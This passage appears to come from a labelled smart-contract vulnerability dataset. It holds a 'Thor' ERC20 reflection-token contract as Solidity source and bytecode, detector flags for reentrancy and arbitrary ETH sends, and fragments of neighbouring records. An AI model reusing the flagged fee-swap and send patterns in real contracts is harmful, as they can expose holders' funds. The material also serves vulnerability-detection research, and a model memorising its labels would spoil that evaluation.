8616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613762816132b1565b811461376d57600080fd5b50565b613779816132c3565b811461378457600080fd5b50565b613790816132ef565b811461379b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc8f824852f1f3d247c9c7c0e4a95c7915082e95053c6901372b6297cca7fcbb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,757 |
0xCEa9bAc2935347Ce1B188f6652046ffC78C24E7c
|
// SPDX-License-Identifier: MIT
// Telegram: t.me/ThorTokenEth
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "Thor";
string constant TOKEN_SYMBOL = "THOR";
uint256 constant INITIAL_TAX=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Thor is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_taxWallet=payable(_msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c806370a082311161008a57806399c8d5561161005957806399c8d556146102cb578063a9059cbb146102f6578063dd62ed3e14610333578063f429389014610370576100f3565b806370a0823114610221578063715018a61461025e5780638da5cb5b1461027557806395d89b41146102a0576100f3565b806323b872dd116100c657806323b872dd1461018b578063293230b8146101c8578063313ce567146101df57806351bc3c851461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610387565b60405161011a9190612180565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611d70565b6103c4565b6040516101579190612165565b60405180910390f35b34801561016c57600080fd5b506101756103e2565b60405161018291906122e2565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611d1d565b6103ec565b6040516101bf9190612165565b60405180910390f35b3480156101d457600080fd5b506101dd6104c5565b005b3480156101eb57600080fd5b506101f46109d9565b6040516102019190612357565b60405180910390f35b34801561021657600080fd5b5061021f6109de565b005b34801561022d57600080fd5b5061024860048036038101906102439190611c83565b610a58565b60405161025591906122e2565b60405180910390f35b34801561026a57600080fd5b50610273610aa9565b005b34801561028157600080fd5b5061028a610bfc565b6040516102979190612097565b60405180910390f35b3480156102ac57600080fd5b506102b5610c25565b6040516102c29190612180565b60405180910390f35b3480156102d757600080fd5b506102e0610c62565b6040516102ed91906122e2565b60405180910390f35b34801561030257600080fd5b5061031d60048036038101906103189190611d70565b610c6c565b60405161032a9190612165565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190611cdd565b610c8a565b60405161036791906122e2565b60405180910390f35b34801561037c57600080fd5b50610385610d11565b005b60606040518060400160405280600481526020017f54686f7200000000000000000000000000000000000000000000000000000000815250905090565b60006103d86103d1610d83565b8484610d8b565b6001905092915050565b6000600354905090565b60006103f9848484610f56565b6104ba84610405610d83565b6104b58560405180606001604052806028815260200161293260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046b610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b89092919063ffffffff16565b610d8b565b600190509392505050565b6104cd610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055190612262565b60405180910390fd5b600a60149054906101000a900460ff16156105aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a190612202565b60405180910390fd5b6105d930600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106799190611cb0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fd57600080fd5b505afa158015610711573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107359190611cb0565b6040518363ffffffff1660e01b81526004016107529291906120b2565b602060405180830381600087803b15801561076c57600080fd5b505af1158015610780573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a49190611cb0565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061082d30610a58565b600080610838610bfc565b426040518863ffffffff1660e01b815260040161085a96959493929190612104565b6060604051808303818588803b15801561087357600080fd5b505af1158015610887573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ac9190611ddd565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109849291906120db565b602060405180830381600087803b15801561099e57600080fd5b505af11580156109b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d69190611db0565b50565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a1f610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610a3f57600080fd5b6000610a4a30610a58565b9050610a558161121c565b50565b6000610aa2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a4565b9050919050565b610ab1610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590612262565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f54484f5200000000000000000000000000000000000000000000000000000000815250905090565b6000600754905090565b6000610c80610c79610d83565b8484610f56565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d52610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610d7257600080fd5b6000479050610d8081611512565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906122c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e62906121e2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4991906122e2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906122a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906121a2565b60405180910390fd5b60008111611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090612282565b60405180910390fd5b611081610bfc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110ef57506110bf610bfc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a857600a60159054906101000a900460ff1615801561115f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111775750600a60169054906101000a900460ff165b156111a75761118d61118830610a58565b61121c565b600047905060008111156111a5576111a447611512565b5b505b5b6111b383838361157e565b505050565b6000838311158290611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f79190612180565b60405180910390fd5b506000838561120f91906124a8565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561125457611253612603565b5b6040519080825280602002602001820160405280156112825781602001602082028036833780820191505090505b509050308160008151811061129a576112996125d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133c57600080fd5b505afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611cb0565b81600181518110611388576113876125d4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ef30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114539594939291906122fd565b600060405180830381600087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60006004548211156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e2906121c2565b60405180910390fd5b60006114f561158e565b905061150a81846115b990919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b5050565b611589838383611603565b505050565b600080600061159b6117ce565b915091506115b281836115b990919063ffffffff16565b9250505090565b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181b565b905092915050565b6000806000806000806116158761187e565b95509550955095509550955061167386600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117548161198b565b61175e8483611a48565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bb91906122e2565b60405180910390a3505050505050505050565b60008060006004549050600060035490506117f66003546004546115b990919063ffffffff16565b82101561180e57600454600354935093505050611817565b81819350935050505b9091565b60008083118290611862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118599190612180565b60405180910390fd5b5060008385611871919061241d565b9050809150509392505050565b60008060008060008060008060006118988a600754611a82565b92509250925060006118a861158e565b905060008060006118bb8e878787611b16565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061192583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b905092915050565b600080828461193c91906123c7565b905083811015611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612222565b60405180910390fd5b8091505092915050565b600061199561158e565b905060006119ac8284611b9f90919063ffffffff16565b9050611a0081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611a5d826004546118e390919063ffffffff16565b600481905550611a788160055461192d90919063ffffffff16565b6005819055505050565b600080600080611aae6064611aa08789611b9f90919063ffffffff16565b6115b990919063ffffffff16565b90506000611ad86064611aca888a611b9f90919063ffffffff16565b6115b990919063ffffffff16565b90506000611b0182611af3858b6118e390919063ffffffff16565b6118e390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611b2f8589611b9f90919063ffffffff16565b90506000611b468689611b9f90919063ffffffff16565b90506000611b5d8789611b9f90919063ffffffff16565b90506000611b8682611b7885876118e390919063ffffffff16565b6118e390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611bb25760009050611c14565b60008284611bc0919061244e565b9050828482611bcf919061241d565b14611c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0690612242565b60405180910390fd5b809150505b92915050565b600081359050611c29816128ec565b92915050565b600081519050611c3e816128ec565b92915050565b600081519050611c5381612903565b92915050565b600081359050611c688161291a565b92915050565b600081519050611c7d8161291a565b92915050565b600060208284031215611c9957611c98612632565b5b6000611ca784828501611c1a565b91505092915050565b600060208284031215611cc657611cc5612632565b5b6000611cd484828501611c2f565b91505092915050565b60008060408385031215611cf457611cf3612632565b5b6000611d0285828601611c1a565b9250506020611d1385828601611c1a565b9150509250929050565b600080600060608486031215611d3657611d35612632565b5b6000611d4486828701611c1a565b9350506020611d5586828701611c1a565b9250506040611d6686828701611c59565b9150509250925092565b60008060408385031215611d8757611d86612632565b5b6000611d9585828601611c1a565b9250506020611da685828601611c59565b9150509250929050565b600060208284031215611dc657611dc5612632565b5b6000611dd484828501611c44565b91505092915050565b600080600060608486031215611df657611df5612632565b5b6000611e0486828701611c6e565b9350506020611e1586828701611c6e565b9250506040611e2686828701611c6e565b9150509250925092565b6000611e3c8383611e48565b60208301905092915050565b611e51816124dc565b82525050565b611e60816124dc565b82525050565b6000611e7182612382565b611e7b81856123a5565b9350611e8683612372565b8060005b83811015611eb7578151611e9e8882611e30565b9750611ea983612398565b925050600181019050611e8a565b5085935050505092915050565b611ecd816124ee565b82525050565b611edc81612531565b82525050565b6000611eed8261238d565b611ef781856123b6565b9350611f07818560208601612543565b611f1081612637565b840191505092915050565b6000611f286023836123b6565b9150611f3382612648565b604082019050919050565b6000611f4b602a836123b6565b9150611f5682612697565b604082019050919050565b6000611f6e6022836123b6565b9150611f79826126e6565b604082019050919050565b6000611f916017836123b6565b9150611f9c82612735565b602082019050919050565b6000611fb4601b836123b6565b9150611fbf8261275e565b602082019050919050565b6000611fd76021836123b6565b9150611fe282612787565b604082019050919050565b6000611ffa6020836123b6565b9150612005826127d6565b602082019050919050565b600061201d6029836123b6565b9150612028826127ff565b604082019050919050565b60006120406025836123b6565b915061204b8261284e565b604082019050919050565b60006120636024836123b6565b915061206e8261289d565b604082019050919050565b6120828161251a565b82525050565b61209181612524565b82525050565b60006020820190506120ac6000830184611e57565b92915050565b60006040820190506120c76000830185611e57565b6120d46020830184611e57565b9392505050565b60006040820190506120f06000830185611e57565b6120fd6020830184612079565b9392505050565b600060c0820190506121196000830189611e57565b6121266020830188612079565b6121336040830187611ed3565b6121406060830186611ed3565b61214d6080830185611e57565b61215a60a0830184612079565b979650505050505050565b600060208201905061217a6000830184611ec4565b92915050565b6000602082019050818103600083015261219a8184611ee2565b905092915050565b600060208201905081810360008301526121bb81611f1b565b9050919050565b600060208201905081810360008301526121db81611f3e565b9050919050565b600060208201905081810360008301526121fb81611f61565b9050919050565b6000602082019050818103600083015261221b81611f84565b9050919050565b6000602082019050818103600083015261223b81611fa7565b9050919050565b6000602082019050818103600083015261225b81611fca565b9050919050565b6000602082019050818103600083015261227b81611fed565b9050919050565b6000602082019050818103600083015261229b81612010565b9050919050565b600060208201905081810360008301526122bb81612033565b9050919050565b600060208201905081810360008301526122db81612056565b9050919050565b60006020820190506122f76000830184612079565b92915050565b600060a0820190506123126000830188612079565b61231f6020830187611ed3565b81810360408301526123318186611e66565b90506123406060830185611e57565b61234d6080830184612079565b9695505050505050565b600060208201905061236c6000830184612088565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123d28261251a565b91506123dd8361251a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241257612411612576565b5b828201905092915050565b60006124288261251a565b91506124338361251a565b925082612443576124426125a5565b5b828204905092915050565b60006124598261251a565b91506124648361251a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561249d5761249c612576565b5b828202905092915050565b60006124b38261251a565b91506124be8361251a565b9250828210156124d1576124d0612576565b5b828203905092915050565b60006124e7826124fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061253c8261251a565b9050919050565b60005b83811015612561578082015181840152602081019050612546565b83811115612570576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128f5816124dc565b811461290057600080fd5b50565b61290c816124ee565b811461291757600080fd5b50565b6129238161251a565b811461292e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081fed8e6e12d2c666ae1f2261fe81c0c45d2fd9f52010bd7cf4ba8289d946e9764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,758 |
0x56228139b1664a100397e4fa5b2838499ed57244
|
pragma solidity ^0.4.23;
/*
* Creator: AAA (London Coin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
